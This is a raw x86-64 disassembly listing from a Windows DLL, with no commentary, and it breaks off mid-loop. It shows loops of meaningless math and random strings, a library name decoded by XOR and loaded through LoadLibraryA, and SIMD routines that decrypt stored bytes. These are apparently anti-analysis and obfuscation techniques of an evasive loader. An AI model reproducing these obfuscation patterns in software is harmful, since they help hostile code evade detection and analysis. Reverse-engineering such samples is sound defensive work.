mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x18000403d
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
nop
mov rcx, qword [rbp + 0x1a8]
test rcx, rcx
je 0x180004055
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
mov ecx, 8
call fcn.18001bb40
lea rcx, vtable.ModulusOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x1b0], r15
mov qword [rbp - 0x18], rax
mov rdx, qword [rbp + 0x3f8]
cmp rdx, qword [rbp + 0x400]
je 0x180004095
mov qword [rbp - 0x18], r15
mov qword [rdx], rax
add qword [rbp + 0x3f8], 8
jmp 0x1800040a6
lea r8, [rbp - 0x18]
lea rcx, [rbp + 0x3f0]
call fcn.180013230
nop
mov rcx, qword [rbp - 0x18]
test rcx, rcx
je 0x1800040bc
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
nop
mov rcx, qword [rbp + 0x1b0]
test rcx, rcx
je 0x1800040d4
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
mov ecx, 8
call fcn.18001bb40
lea rcx, vtable.ComplexOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x1b8], r15
mov qword [rbp - 0x10], rax
mov rdx, qword [rbp + 0x3f8]
cmp rdx, qword [rbp + 0x400]
je 0x180004114
mov qword [rbp - 0x10], r15
mov qword [rdx], rax
add qword [rbp + 0x3f8], 8
jmp 0x180004125
lea r8, [rbp - 0x10]
lea rcx, [rbp + 0x3f0]
call fcn.180013230
nop
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x18000413b
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
nop
mov rcx, qword [rbp + 0x1b8]
test rcx, rcx
je 0x180004153
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rdi, 0x989680
jne 0x180004174
imul rax, rcx, 0x64
jmp 0x1800041e3
cmp rdi, 0x16e3600
jne 0x1800041c8
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x1800041e3
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
cmp rax, rbx
jge 0x180004cb8
mov r13d, r15d
nop
mov eax, dword [rbp + 0x3e0]
btc eax, 0x1f
mov ecx, dword [rbp + 0x3e4]
btc ecx, 0x1f
sub ecx, eax
cmp ecx, 0xffffffff
jne 0x180004219
lea rcx, [rbp + 0x1a50]
call fcn.180014200
jmp 0x180004258
lea edi, [rcx + 1]
lea rcx, [rbp + 0x1a50]
call fcn.180014200
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x180004258
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x180004258
lea rcx, [rbp + 0x1a50]
call fcn.180014200
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x180004242
mov r14d, dword [rbp + 0x3e0]
btc r14d, 0x1f
mov eax, dword [rbp + 0x3e4]
btc eax, 0x1f
sub eax, r14d
lea rcx, [rbp + 0x1a50]
cmp eax, 0xffffffff
jne 0x180004286
call fcn.180014200
mov ecx, eax
jmp 0x1800042ca
lea edi, [rax + 1]
call fcn.180014200
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x1800042c6
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x1800042c6
nop dword [rax + rax]
lea rcx, [rbp + 0x1a50]
call fcn.180014200
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x1800042b0
shr rcx, 0x20
lea eax, [rcx + r14]
cdqe
xor rax, 0xffffffff80000000
mov rcx, qword [rbp + 0x3f8]
mov r8, qword [rbp + 0x3f0]
sub rcx, r8
sar rcx, 3
xor edx, edx
div rcx
movsxd rax, edx
mov r15, qword [r8 + rax*8]
mov rax, qword [r15]
mov r12, qword [rax + 8]
mov r14d, dword [rbp + 0x3e0]
btc r14d, 0x1f
mov eax, dword [rbp + 0x3e4]
btc eax, 0x1f
sub eax, r14d
lea rcx, [rbp + 0x1a50]
cmp eax, 0xffffffff
jne 0x18000432c
call fcn.180014200
mov ecx, eax
jmp 0x18000436a
lea edi, [rax + 1]
call fcn.180014200
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x180004366
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x180004366
nop
lea rcx, [rbp + 0x1a50]
call fcn.180014200
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x180004350
shr rcx, 0x20
lea r8d, [rcx + r14]
btc r8d, 0x1f
mov edx, dword [rsp + 0x50]
mov rcx, r15
call r12
mov dword [rsp + 0x50], eax
movaps xmm13, xmm10
movaps xmm1, xmm12
mov edi, 2
nop
lea rcx, [rbp + 0x1a50]
call fcn.180014200
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm10
mulsd xmm0, xmm1
addsd xmm13, xmm0
mulsd xmm1, xmm11
sub rdi, 1
jne 0x180004390
divsd xmm13, xmm1
mulsd xmm13, xmm9
addsd xmm13, xmm8
movaps xmm14, xmm10
movaps xmm1, xmm12
mov edi, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x1a50]
call fcn.180014200
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm10
mulsd xmm0, xmm1
addsd xmm14, xmm0
mulsd xmm1, xmm11
sub rdi, 1
jne 0x1800043e0
divsd xmm14, xmm1
mulsd xmm14, xmm9
addsd xmm14, xmm8
movaps xmm0, xmm14
andps xmm0, xmm15
addsd xmm0, xmm12
call sub.api_ms_win_crt_math_l1_1_0.dll_log
movaps xmm7, xmm0
movaps xmm0, xmm13
call sub.api_ms_win_crt_math_l1_1_0.dll_cos
movaps xmm6, xmm0
movaps xmm0, xmm14
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
mulsd xmm6, xmm0
addsd xmm7, xmm6
movaps xmm0, xmm13
call sub.api_ms_win_crt_math_l1_1_0.dll_exp
subsd xmm7, xmm0
addsd xmm7, qword [rsp + 0x58]
movsd qword [rsp + 0x58], xmm7
movaps xmm0, xmm10
movaps xmm2, xmm12
mov edi, 2
nop word [rax + rax]
lea rcx, [rbp + 0x1a50]
call fcn.180014200
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm10
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm11
sub rdi, 1
jne 0x180004480
divsd xmm0, xmm2
mulsd xmm0, xmm9
addsd xmm0, xmm8
movsd xmm1, qword [0x18001f0c0]
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x58]
subsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movaps xmm0, xmm10
movaps xmm2, xmm12
mov edi, 2
nop word [rax + rax]
lea rcx, [rbp + 0x1a50]
call fcn.180014200
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm10
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm11
sub rdi, 1
jne 0x1800044f0
divsd xmm0, xmm2
mulsd xmm0, xmm9
addsd xmm0, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
movsd xmm1, qword [rsp + 0x58]
mulsd xmm0, xmm1
movsd qword [rsp + 0x58], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x550], xmm0
xor r12d, r12d
mov qword [rbp + 0x560], r12
mov qword [rbp + 0x568], r12
mov r8d, 6
lea rdx, str.random
lea rcx, [rbp + 0x550]
call fcn.180011f40
nop
lea rdi, [rbp + 0x550]
cmp qword [rbp + 0x568], 0xf
cmova rdi, qword [rbp + 0x550]
lea rcx, [rbp + 0x550]
cmova rcx, qword [rbp + 0x550]
mov rsi, qword [rbp + 0x560]
add rsi, rcx
cmp rdi, rsi
je 0x1800045f7
nop dword [rax + rax]
lea rcx, [rbp + 0x1a50]
call fcn.180014200
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x1800045e7
nop word [rax + rax]
lea rcx, [rbp + 0x1a50]
call fcn.180014200
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x1800045d0
shr rax, 0x20
add al, 0x61
mov byte [rdi], al
inc rdi
cmp rdi, rsi
jne 0x1800045b0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x448], xmm1
mov qword [rbp + 0x458], r12
mov ecx, 0x190
call fcn.18001bb40
mov qword [rbp + 0x448], rax
lea r14, [rax + 0x190]
mov qword [rbp + 0x458], r14
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x450], r14
lea rax, [rbp + 0x3e0]
mov qword [rbp + 0x340], rax
lea rax, [rbp + 0x1a50]
mov qword [rbp + 0x348], rax
movaps xmm0, xmmword [rbp + 0x340]
movdqa xmmword [rbp - 0x80], xmm0
mov rsi, qword [rbp + 0x448]
cmp rsi, r14
je 0x1800046a4
mov rdi, qword [rbp - 0x78]
mov r15, qword [rbp - 0x80]
nop dword [rax + rax]
mov rdx, rdi
mov rcx, r15
call fcn.1800112e0
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x180004680
mov r14, qword [rbp + 0x450]
mov rsi, qword [rbp + 0x448]
mov dword [rbp + 0x5a8], 0xffffff9c
mov dword [rbp + 0x5ac], 0x64
lea rax, [rbp + 0x5a8]
mov qword [rbp + 0x330], rax
lea rax, [rbp + 0x1a50]
mov qword [rbp + 0x338], rax
movaps xmm0, xmmword [rbp + 0x330]
movdqa xmmword [rbp - 0x80], xmm0
cmp rsi, r14
je 0x18000471b
mov r15, qword [rbp - 0x78]
mov r12, qword [rbp - 0x80]
nop dword [rax]
mov edi, dword [rsi]
mov rdx, r15
mov rcx, r12
call fcn.1800112e0
add eax, edi
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x1800046f0
mov r14, qword [rbp + 0x450]
mov rsi, qword [rbp + 0x448]
xor r12d, r12d
mov r8, r14
sub r8, rsi
sar r8, 2
xor r9d, r9d
mov rdx, r14
mov rcx, rsi
call fcn.180013ba0
mov r8d, r12d
mov rax, qword [rbp + 0x448]
mov rdx, r12
mov r9, qword [rbp + 0x450]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r12
test rcx, rcx
je 0x1800047b6
cmp rcx, 8
jb 0x1800047b6
and rcx, 0xfffffffffffffff8
xorps xmm1, xmm1
xorps xmm2, xmm2
movdqu xmm0, xmmword [rax]
paddd xmm1, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm0, xmm2
movdqa xmm2, xmm0
add rax, 0x20
add rdx, 8
cmp rdx, rcx
jne 0x180004771
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd r8d, xmm1
cmp rax, r9
je 0x1800047cc
nop dword [rax + rax]
add r8d, dword [rax]
add rax, 4
cmp rax, r9
jne 0x1800047c0
mov eax, dword [rsp + 0x50]
add eax, r8d
mov dword [rsp + 0x50], eax
mov r14d, dword [rbp + 0x3e0]
btc r14d, 0x1f
mov eax, dword [rbp + 0x3e4]
btc eax, 0x1f
sub eax, r14d
lea rcx, [rbp + 0x1a50]
cmp eax, 0xffffffff
jne 0x180004805
call fcn.180014200
mov ecx, eax
jmp 0x18000484a
lea edi, [rax + 1]
call fcn.180014200
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x180004846
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x180004846
nop word [rax + rax]
lea rcx, [rbp + 0x1a50]
call fcn.180014200
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x180004830
shr rcx, 0x20
lea edi, [rcx + r14]
btc edi, 0x1f
mov r15d, dword [rbp + 0x3e0]
btc r15d, 0x1f
mov eax, dword [rbp + 0x3e4]
btc eax, 0x1f
sub eax, r15d
lea rcx, [rbp + 0x1a50]
cmp eax, 0xffffffff
jne 0x180004880
call fcn.180014200
mov ecx, eax
jmp 0x1800048bd
lea esi, [rax + 1]
call fcn.180014200
mov r14d, esi
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jae 0x1800048b9
mov eax, esi
neg eax
xor edx, edx
div esi
mov esi, edx
cmp ecx, edx
jae 0x1800048b9
lea rcx, [rbp + 0x1a50]
call fcn.180014200
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jb 0x1800048a3
shr rcx, 0x20
lea r8d, [rcx + r15]
btc r8d, 0x1f
mov ecx, edi
test edi, edi
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, edi
cdq
idiv ecx
imul edi, r8d
add eax, edi
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov dword [rsp + 0x50], ecx
mov eax, dword [rsp + 0x50]
mov r14d, dword [rbp + 0x3e0]
btc r14d, 0x1f
test al, 1
mov eax, dword [rbp + 0x3e4]
lea rcx, [rbp + 0x1a50]
jne 0x18000497b
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x180004930
call fcn.180014200
mov ecx, eax
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x50]
add eax, ecx
jmp 0x1800049d9
lea edi, [rax + 1]
call fcn.180014200
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x180004968
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x180004968
lea rcx, [rbp + 0x1a50]
call fcn.180014200
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x180004952
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x50]
add eax, ecx
jmp 0x1800049d9
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x180004990
call fcn.180014200
mov ecx, eax
jmp 0x1800049cc
lea edi, [rax + 1]
call fcn.180014200
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x1800049c8
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x1800049c8
lea rcx, [rbp + 0x1a50]
call fcn.180014200
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x1800049b2
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x50]
sub eax, ecx
mov dword [rsp + 0x50], eax
xor ebx, ebx
mov r12d, 5
nop word [rax + rax]
mov r15d, ebx
mov r14d, dword [rbp + 0x3e0]
btc r14d, 0x1f
mov eax, dword [rbp + 0x3e4]
btc eax, 0x1f
sub eax, r14d
lea rcx, [rbp + 0x1a50]
cmp eax, 0xffffffff
jne 0x180004a21
call fcn.180014200
mov ecx, eax
jmp 0x180004a5d
lea edi, [rax + 1]
call fcn.180014200
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x180004a59
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x180004a59
lea rcx, [rbp + 0x1a50]
call fcn.180014200
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x180004a43
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
movaps xmm1, xmm10
movaps xmm2, xmm12
mov edi, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x1a50]
call fcn.180014200
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm10
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm11
sub rdi, 1
jne 0x180004a80
divsd xmm1, xmm2
mulsd xmm1, xmm9
addsd xmm1, xmm8
addsd xmm1, qword [rsp + 0x58]
movsd qword [rsp + 0x58], xmm1
test r15b, 1
jne 0x180004b50
mov r14d, dword [rbp + 0x3e0]
btc r14d, 0x1f
mov eax, dword [rbp + 0x3e4]
btc eax, 0x1f
sub eax, r14d
lea rcx, [rbp + 0x1a50]
cmp eax, 0xffffffff
jne 0x180004b00
call fcn.180014200
mov ecx, eax
jmp 0x180004b3c
lea edi, [rax + 1]
call fcn.180014200
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x180004b38
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x180004b38
lea rcx, [rbp + 0x1a50]
call fcn.180014200
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x180004b22
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x50]
imul eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x180004bb1
movaps xmm1, xmm10
movaps xmm2, xmm12
mov edi, 2
nop dword [rax]
lea rcx, [rbp + 0x1a50]
call fcn.180014200
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm10
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm11
sub rdi, 1
jne 0x180004b60
divsd xmm1, xmm2
mulsd xmm1, xmm9
addsd xmm1, xmm8
movsd xmm0, qword [rsp + 0x58]
addsd xmm1, xmm12
divsd xmm0, xmm1
movsd qword [rsp + 0x58], xmm0
inc r15d
cmp r15d, 5
jl 0x1800049f3
sub r12, 1
jne 0x1800049f0
mov rbx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x448]
test rcx, rcx
je 0x180004c32
mov rax, qword [rbp + 0x458]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004c16
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004caa
call fcn.18001bef4
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x448], xmm0
xor r15d, r15d
mov qword [rbp + 0x458], r15
jmp 0x180004c35
xor r15d, r15d
mov rdx, qword [rbp + 0x568]
cmp rdx, 0xf
jbe 0x180004c72
inc rdx
mov rcx, qword [rbp + 0x550]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004c6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004cb1
call fcn.18001bef4
mov qword [rbp + 0x560], r15
mov qword [rbp + 0x568], 0xf
mov byte [rbp + 0x550], 0
inc r13d
cmp r13d, 0x186a0
jl 0x1800041f0
movabs rsi, 0xb2f4fc0794908cf3
jmp 0x180004153
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov eax, dword [rsp + 0x50]
mov rbx, qword [rbp + 0x3f0]
mov r12d, 1
test rbx, rbx
je 0x180004d5c
mov rdi, qword [rbp + 0x3f8]
cmp rbx, rdi
je 0x180004d04
nop
mov rcx, qword [rbx]
test rcx, rcx
je 0x180004cf4
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
add rbx, 8
cmp rbx, rdi
jne 0x180004ce0
mov rbx, qword [rbp + 0x3f0]
mov rax, qword [rbp + 0x400]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x180004d42
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180004d42
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.18001bef4
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3f0], xmm0
mov qword [rbp + 0x400], r15
movzx eax, word [0x18001ea40]
movsd xmm0, qword [str.P4_f.__P]
mov word [rsp + 0x68], ax
movsd qword [rsp + 0x60], xmm0
mov byte [rsp + 0x60], 0x6e
xor byte [rsp + 0x61], 0x40
xor byte [rsp + 0x62], 0x42
xor byte [rsp + 0x63], 0x44
xor byte [rsp + 0x64], 0x46
xor byte [rsp + 0x65], 0x48
xor byte [rsp + 0x66], 0x4a
xor byte [rsp + 0x67], 0x4c
xor byte [rsp + 0x68], 0x4e
xor byte [rsp + 0x69], 0x50
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r13, rax
mov qword [rbp - 0x60], rax
test rax, rax
jne 0x180004e12
mov r14, qword [rbp - 0x50]
mov rcx, qword [r14]
test rcx, rcx
je 0x180004e03
mov rdx, qword [r14 + 0x10]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x180004df3
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180004e0b
mov rcx, r8
call fcn.18001bef4
mov qword [r14], r15
mov qword [r14 + 8], r15
mov qword [r14 + 0x10], r15
mov eax, r12d
jmp 0x1800073a2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
movups xmm14, xmmword [0x18001ef70]
movups xmmword [rbp - 0x48], xmm14
movsd xmm0, qword [0x18001ef80]
movsd qword [rbp - 0x38], xmm0
movzx eax, word [0x18001ef88]
mov word [rbp - 0x30], ax
mov r9d, r15d
movdqa xmm13, xmmword [0x18001f180]
mov ebx, dword [0x180025090]
cmp ebx, 2
jl 0x18000527c
movdqa xmm5, xmmword [0x18001f1c0]
movdqa xmm6, xmmword [0x18001f1d0]
movdqa xmm8, xmmword [str.ffff]
movdqa xmm7, xmmword [0x18001f1e0]
movdqa xmm9, xmmword [0x18001f190]
movdqa xmm4, xmmword [0x18001f110]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm6
pmuldq xmm1, xmm6
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm13
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm8
psubd xmm4, xmm0
andps xmm4, xmm13
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmm9
movd eax, xmm14
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x48], xmm1
movdqa xmm4, xmmword [0x18001f120]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm6
pmuldq xmm1, xmm6
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm13
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm8
psubd xmm4, xmm0
andps xmm4, xmm13
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmm9
movd xmm0, dword [rbp - 0x44]
xorps xmm1, xmm0
movd dword [rbp - 0x44], xmm1
movdqa xmm4, xmmword [0x18001f130]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm6
pmuldq xmm1, xmm6
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm13
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm8
psubd xmm4, xmm0
andps xmm4, xmm13
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmm9
movd xmm0, dword [rbp - 0x40]
xorps xmm1, xmm0
movd dword [rbp - 0x40], xmm1
movdqa xmm4, xmmword [0x18001f140]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm6
pmuldq xmm1, xmm6
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm13
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm8
psubd xmm4, xmm0
andps xmm4, xmm13
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmm9
movd xmm0, dword [rbp - 0x3c]
xorps xmm1, xmm0
movd dword [rbp - 0x3c], xmm1
movdqa xmm4, xmmword [0x18001f150]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm6
pmuldq xmm1, xmm6
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm13
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm8
psubd xmm4, xmm0
andps xmm4, xmm13
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmm9
movd xmm0, dword [rbp - 0x38]
xorps xmm1, xmm0
movd dword [rbp - 0x38], xmm1
movdqa xmm4, xmmword [0x18001f160]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm6
pmuldq xmm1, xmm6
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm13
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm8
psubd xmm4, xmm0
andps xmm4, xmm13
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmm9
movd xmm0, dword [rbp - 0x34]
xorps xmm1, xmm0
movd dword [rbp - 0x34], xmm1
mov r9d, 0x18
mov eax, r9d
lea r10, [rbp - 0x48]
add r10, rax
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x1f
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
